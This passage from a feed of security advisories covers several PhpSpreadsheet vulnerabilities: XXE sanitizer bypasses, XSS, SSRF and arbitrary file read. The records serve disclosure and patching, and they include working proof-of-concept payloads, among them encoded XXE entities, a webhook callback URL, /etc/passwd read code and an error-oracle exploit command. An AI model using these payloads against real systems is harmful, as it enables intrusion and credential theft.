[CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-32BE%20(12001)')\u0026input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\n### PoC\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17334157/payload.xlsx) file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on \u003chttps://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a\u003e.\n\n### Impact\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-18T20:01:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jw4x-v69f-hh5w","https://nvd.nist.gov/vuln/detail/CVE-2024-47873","https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php","https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing","https://www.w3.org/TR/xml/#sec-guessing-no-ext-info","https://github.com/advisories/GHSA-jw4x-v69f-hh5w"],"source_kind":"github","identifiers":["GHSA-jw4x-v69f-hh5w","CVE-2024-47873"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"created_at":"2024-11-18T21:06:56.051Z","updated_at":"2026-10-27T10:08:26.692Z","epss_percentage":0.0076,"epss_percentile":0.5501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qdzR4LXY2OWYtaGg1d84ABBeP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qdzR4LXY2OWYtaGg1d84ABBeP","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.4.0"},{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.3"},{"first_patched_version":"1.29.4","vulnerable_version_range":"\u003c 1.29.4"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qdzR4LXY2OWYtaGg1d84ABBeP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aHdyLTZ2MmYtM204OM4ABABf","url":"https://github.com/advisories/GHSA-6hwr-6v2f-3m88","title":"XXE in PHPSpreadsheet's XLSX reader","description":"### Summary\nThe security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. \n\n### Details\nThe security scan function in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php` contains a flawed XML encoding check to retrieve the input file's XML encoding in the `toUtf8` function. \n\nThe function searches for the XML encoding through a defined regex which looks for `encoding=\"*\"` and/or `encoding='*'`, if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic. \n\n ```\n$patterns = [\n            '/encoding=\"([^\"]*]?)\"/',\n            \"/encoding='([^']*?)'/\",\n];\n```\n\nThis logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the `=` in the attribute definition. \n\n### PoC\n\nNeeded:\n- An Excel sheet (XLSX) with at least one cell containing a value.\n\nUnzip the excel sheet, and modify the `xl/SharedStrings.xml` file with the following value (note the space after `encoding=`):\n\n```\n\u003c?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE abc [ ... ]\u003e\n```\n\n#### Step-by-step\n\n1. First off, the following string is encoded in base64:\n\n```\n\u003c!ENTITY internal 'abc'  \u003e\" \n```\n\nResulting in:\n\n```\nPCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\n```\n\n2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.\n\n```\n\u003c?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE foo [ \u003c!ENTITY % xxe SYSTEM \"php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\" \u003e %xxe;]\u003e\n\u003csst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"\u003e\u003csi\u003e\u003ct\u003e\u0026internal;\u003c/t\u003e\u003c/si\u003e\u003c/sst\u003e\n```\n\nWhen this file is parsed by the library, the value `abc` should be in the original filled cell.\n\nWith the help of the PHP filter wrapper, this can be escalated to information disclosure/file read. \n\n### Impact\nSensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-07T15:58:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hwr-6v2f-3m88","https://github.com/PHPOffice/PhpSpreadsheet/commit/3bcd51826b7f089d1641e756c83030c30c3bdb0c","https://github.com/PHPOffice/PhpSpreadsheet/commit/7d6cb09f6e8204f65e6dd5a0490f7f45f44bb331","https://github.com/PHPOffice/PhpSpreadsheet/commit/949ff63e1f6413e6485f73af012d506aa81384bf","https://nvd.nist.gov/vuln/detail/CVE-2024-45293","https://github.com/advisories/GHSA-6hwr-6v2f-3m88"],"source_kind":"github","identifiers":["GHSA-6hwr-6v2f-3m88","CVE-2024-45293"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":37.435925449709764,"created_at":"2024-10-07T16:06:23.889Z","updated_at":"2026-10-27T10:08:42.015Z","epss_percentage":0.02776,"epss_percentile":0.85675,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHdyLTZ2MmYtM204OM4ABABf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aHdyLTZ2MmYtM204OM4ABABf","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.1","vulnerable_version_range":"\u003c 1.29.1"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHdyLTZ2MmYtM204OM4ABABf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOHc4LTc0d3ctajR3aM4ABABe","url":"https://github.com/advisories/GHSA-r8w8-74ww-j4wh","title":"PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via JavaScript hyperlinks","description":"### Summary\n`\\PhpOffice\\PhpSpreadsheet\\Writer\\Html` does not sanitize \"javascript:\" URLs from hyperlink `href` attributes, resulting in a Cross-Site Scripting vulnerability.\n\n### PoC\n\nExample target script:\n\n```\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nSave this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15099763/book.xlsx)\n\nOpen index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-07T15:58:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r8w8-74ww-j4wh","https://github.com/PHPOffice/PhpSpreadsheet/commit/392dd08c5569b623060784e1333454d64df1f03d","https://github.com/PHPOffice/PhpSpreadsheet/commit/8b9b378ecdc603234a34aab3b293d2cdc8e9210e","https://github.com/PHPOffice/PhpSpreadsheet/commit/f0b70ed1086348904b27772b264e1605ba6c1d6d","https://nvd.nist.gov/vuln/detail/CVE-2024-45292","https://github.com/advisories/GHSA-r8w8-74ww-j4wh"],"source_kind":"github","identifiers":["GHSA-r8w8-74ww-j4wh","CVE-2024-45292"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"created_at":"2024-10-07T16:06:23.920Z","updated_at":"2026-10-27T10:08:42.015Z","epss_percentage":0.00344,"epss_percentile":0.27643,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOHc4LTc0d3ctajR3aM4ABABe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOHc4LTc0d3ctajR3aM4ABABe","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOHc4LTc0d3ctajR3aM4ABABe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13OXh2LXFmOTgtY2NxNM4ABABd","url":"https://github.com/advisories/GHSA-w9xv-qf98-ccq4","title":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled","description":"### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' =\u003e ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '\u003cimg style=\"position: absolute; z-index: 1; left: '\n    . $drawing-\u003egetOffsetX() . 'px; top: ' . $drawing-\u003egetOffsetY() . 'px; width: '\n    . $drawing-\u003egetWidth() . 'px; height: ' . $drawing-\u003egetHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" /\u003e';\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?\u003cdata\u003e[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-07T15:58:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4","https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a","https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec","https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465","https://nvd.nist.gov/vuln/detail/CVE-2024-45291","https://github.com/advisories/GHSA-w9xv-qf98-ccq4"],"source_kind":"github","identifiers":["GHSA-w9xv-qf98-ccq4","CVE-2024-45291"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":25.817879620489496,"created_at":"2024-10-07T16:06:23.941Z","updated_at":"2026-10-27T10:08:42.016Z","epss_percentage":0.00864,"epss_percentile":0.57545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OXh2LXFmOTgtY2NxNM4ABABd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13OXh2LXFmOTgtY2NxNM4ABABd","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13OXh2LXFmOTgtY2NxNM4ABABd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Z3ByLXcycDUtNm0zN84ABABc","url":"https://github.com/advisories/GHSA-5gpr-w2p5-6m37","title":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file","description":"### Summary\n\nIt's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n    // ...omit irrelevant code...\n} else {\n    $linkImageKey = (string) self::getArrayItem(\n        $blip-\u003eattributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),\n        'link'\n    );\n    if (isset($images[$linkImageKey])) {\n        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);\n        $objDrawing-\u003esetPath($url);\n    }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n    if ($verifyFile \u0026\u0026 preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {\n        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979\n        if (filter_var($path, FILTER_VALIDATE_URL)) {\n            $this-\u003epath = $path;\n            // Implicit that it is a URL, rather store info than running check above on value in other places.\n            $this-\u003eisUrl = true;\n            $imageContents = file_get_contents($path);\n            // ... check dimensions etc. ...\n```\n\nIt's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"this can be whatever\" /\u003e\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to\n// keep the PoC simple, I've combined this into the same file.\n\n$file = \"book_tampered.xlsx\";\n$payload = $_POST[\"payload\"]; // the payload comes from the Python script\n\ncopy(\"book.xlsx\",$file);\n$zip = new ZipArchive;\n$zip-\u003eopen($file);\n\n$path = \"xl/drawings/_rels/drawing1.xml.rels\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace(\"../media/image1.gif\", $payload, $content);\n$zip-\u003eaddFromString($path, $content);\n\n$path = \"xl/drawings/drawing1.xml\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace('r:embed=\"rId1\"', 'r:link=\"rId1\"', $content);\n$zip-\u003eaddFromString($path, $content);\n\n$zip-\u003eclose();\n\n// The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/' . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is \u003c= 128M - otherwise you'll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd\n```\n\nNote that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.\n\nHere's the results I got after about a minute of bruteforcing:\n\n![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-07T15:57:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37","https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a","https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec","https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465","https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4","https://nvd.nist.gov/vuln/detail/CVE-2024-45290","https://github.com/advisories/GHSA-5gpr-w2p5-6m37"],"source_kind":"github","identifiers":["GHSA-5gpr-w2p5-6m37","CVE-2024-45290"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"created_at":"2024-10-07T16:06:23.962Z","updated_at":"2026-10-27T10:08:42.016Z","epss_percentage":0.00625,"epss_percentile":0.49689,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z3ByLXcycDUtNm0zN84ABABc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z3ByLXcycDUtNm0zN84ABABc","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z3ByLXcycDUtNm0zN84ABABc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12NjZnLXA5eDYtdjk4cM4ABAA1","url":"https://github.com/advisories/GHSA-v66g-p9x6-v98p","title":"PhpSpreadsheet has an Unauthenticated Cross-Site-Scripting (XSS) in sample file","description":"### Summary\nOne of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection.\n\n### Details\n\nThe following [code](https://github.com/PHPOffice/PhpSpreadsheet/blob/d50b8b5de7e30439fb57eae7df9ea90e79fa0f2d/samples/Basic/45_Quadratic_equation_solver.php#L56) in `45_Quadratic_equation_solver.php` concatenates the user supplied parameters directly into spreadsheet formulas. This allows an attacker to take control over the formula and output unsanitized data into the page, resulting in JavaScript execution.\n```\n$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';\n$discriminant = Calculation::getInstance()-\u003ecalculateFormula($discriminantFormula);\n\n$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';\n$r2Formula = '=IF(' . $discriminant . '=0,\"Only one root\",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';\n```\n\n\n### PoC\n1. Access `45_Quadratic_equation_solver.php` in a browser\n2. Enter any valid values for for `b` and `c`, and enter the following for `a`\n\n```\n1) \u0026 (\"1)),1)\u0026char(60)\u0026char(105)\u0026char(109)\u0026char(103)\u0026char(32)\u0026char(115)\u0026char(114)\u0026char(99)\u0026char(61)\u0026char(120)\u0026char(32)\u0026char(111)\u0026char(110)\u0026char(101)\u0026char(114)\u0026char(114)\u0026char(111)\u0026char(114)\u0026char(61)\u0026char(97)\u0026char(108)\u0026char(101)\u0026char(114)\u0026char(116)\u0026char(40)\u0026char(41)\u0026char(62)\u0026POWER(((1\") \u0026n(\"1\")\u0026(1\n```\n\n3. Press submit and observe that JavaScript is executed.\n\n![exploit-phpspreadsheet](https://user-images.githubusercontent.com/1211162/297062610-0cdb26d1-2b47-46e2-bd31-189b0694186d.png)\n\n### Impact\n\nThe impact of this vulnerability on the project is expected to be relatively low since these are sample files that should not be included when the library is used properly (e.g., through composer). However, at least two instances of popular WordPress plugins have unintentionally exposed this file by including the entire git repository. Since these files also serve as reference points for developers using the library, addressing this issue can enhance security for users.\n\nA solution to fix the vulnerability is proposed below, and a request for a CVE assignment has been made to facilitate responsible disclosure of the security issue to the affected WordPress plugins.\n\n### Remediation\n\nA quick and easy solution to prevent this attack is to force the parameters to be numerical values:\n\n```php\nif (isset($_POST['submit'])) {\n    